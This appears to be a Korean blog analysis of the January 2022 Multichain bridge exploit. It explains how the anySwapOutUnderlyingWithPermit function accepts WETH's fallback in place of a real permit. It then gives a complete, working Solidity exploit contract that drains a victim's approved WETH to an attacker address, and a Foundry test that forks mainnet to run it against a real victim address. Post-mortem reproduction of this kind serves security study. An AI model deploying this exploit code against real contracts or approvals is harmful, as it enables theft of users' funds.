2022년 1월 발생한 Multichain exploit분석자료입니다.

해당 사건에 대한 post mortem은 아래 링크에서 확인하실 수 있습니다.

https://medium.com/multichainorg/multichain-contract-vulnerability-post-mortem-d37bfab237c8

 

Multichain Contract Vulnerability Post Mortem

On January 10, 2022, we were alerted to two critical vulnerabilities with the Multichain liquidity pool contract and router contract by…

medium.com

https://etherscan.io/tx/0xe50ed602bd916fc304d53c4fed236698b71691a95774ff0aeeb74b699c6227f7

 

Ethereum Transaction Hash (Txhash) Details | Etherscan

Ethereum (ETH) detailed transaction info for txhash 0xe50ed602bd916fc304d53c4fed236698b71691a95774ff0aeeb74b699c6227f7. The transaction status, block confirmation, gas fee, Ether (ETH), and token transfer are shown.

etherscan.io

 

0xe50ed602bd916fc304d53c4fed236698b71691a95774ff0aeeb74b699c6227f7 트랜잭션을 보면 약 308개의 WETH를 가로챘습니다.

취약점

문제가 되는 컨트랙트는 0x6b7a87899490ece95443e979ca9485cbe7e71522로 Multichain 에서 사용하고 있는 Bridge입니다.

그중 취약점이 존재하는 함수는 anySwapOutUnderlyingWithPermit입니다.

    function anySwapOutUnderlyingWithPermit(
        address from,
        address token,
        address to,
        uint amount,
        uint deadline,
        uint8 v,
        bytes32 r,
        bytes32 s,
        uint toChainID
    ) external {
        address _underlying = AnyswapV1ERC20(token).underlying();
        IERC20(_underlying).permit(from, address(this), amount, deadline, v, r, s);
        TransferHelper.safeTransferFrom(_underlying, from, token, amount);
        AnyswapV1ERC20(token).depositVault(amount, from);
        _anySwapOut(from, token, to, amount, toChainID);
    }

 여기서 문제가 되는 지점은 _underlying이 permit을 구현하고 있지 않은 경우입니다.

permit이 구현되어있지 않다면 fallback으로 넘어가 실질적인 permit의 기능을 수행하지 못하고 revert되지 않습니다.

이후 safeTransferFrom이 에러없이 수행되어 자금을 탈취할 수 있습니다.

공격방식

공격자는 공격 컨트랙트를 작성해서 인자로 전달하였습니다.

from에는 공격할 대상의 주소, token에는 공격 컨트랙트를 배포한 주소, amount는 탈취할 수량을 전달하고 나머지 값들은 임의로 작성합니다.

token은 공격 컨트랙트의 주소이므로 해당 공격 컨트랙트에 underlying함수를 구현하여 weth 주소를 반환하게 합니다.

이제 _underlyingweth 주소를 담게 됩니다.

weth의 permit이 호출됩니다.

하지만 weth 에는 permit 이 구현되어 있지 않기 때문에 fallback이 호출됩니다.

msg.value가 전달되지 않았기 때문에 deposit()에서는 아무 일도 일어나지 않습니다.

다시 router로 넘어와서 safeTransferFrom이 수행됩니다.

_underlying의 safeTransferFrom이 호출됩니다. 이때 msg.sender는 router이므로 weth가 router를 approve했다면 전송이 이루어지게 됩니다.

공격 컨트랙트의 depositVault가 수행됩니다. 해당 함수는 공격컨트랙트에서 구현해놓고 아무런 동작을 하지 않습니다.

_anySwapOut이 호출됩니다.

해당 함수는 token의 burn을 호출하는데 token의 값이 공격 컨트랙트입니다. 따라서 공격 컨트랙트에서 burn을 구현하고 아무런 행동을 하지 않습니다.

pragma solidity 0.8.16;

import "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";

interface IRouter {
    function anySwapOutUnderlyingWithPermit(address from, address token, address to, uint amount, uint deadline, uint8 v, bytes32 r, bytes32 s, uint toChainId) external;
}

contract Exploit {

    address weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    address router = address(0x6b7a87899490EcE95443e979cA9485CBE7E71522);
    address admin;
    constructor(address _admin) {
        admin = _admin;
    }

    function attack(address victim) public {
        IRouter(router).anySwapOutUnderlyingWithPermit(
            victim,
            address(this), 
            address(0x1), 
            ERC20(weth).balanceOf(victim), 0, 0, 0, 0, 1);
        ERC20(weth).transfer(admin, ERC20(weth).balanceOf(address(this)));
    }

    function burn(address from, uint256 amount) external pure returns (bool) {
        return true;
    }

    function depositVault(uint256 amount, address from) external pure returns (uint) {
        return 1;
    }

    function underlying() public view returns (address) {
        return weth;
    }
}

앞선 요구사항대로 작성해 본 공격 컨트랙트입니다. attack 함수를 통해 취약점을 트리거 할 수 있고 위의 로직들을 수행할 수 있는 burn, depositVault, underlying함수를 구현하고 있습니다.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";
import "src/Exploit.sol";

contract AttackTest is Test {

    address public weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    Exploit exploit;
    address attacker = address(0xbad);

    function testMultichainAttack() public {
        vm.createSelectFork(vm.envString("ETHEREUM_RPC"), 14000000);
        vm.startPrank(attacker);
        console.log("Attacker balance before:", IERC20(weth).balanceOf(attacker));
        exploit = new Exploit(attacker);
        exploit.attack(0x3Ee505bA316879d246a8fD2b3d7eE63b51B44FAB);
        console.log("Attacker balance after:", IERC20(weth).balanceOf(attacker));
    }

}

앞선 공격 컨트랙트를 이용해서 테스트를 작성하였습니다.

 

복사했습니다!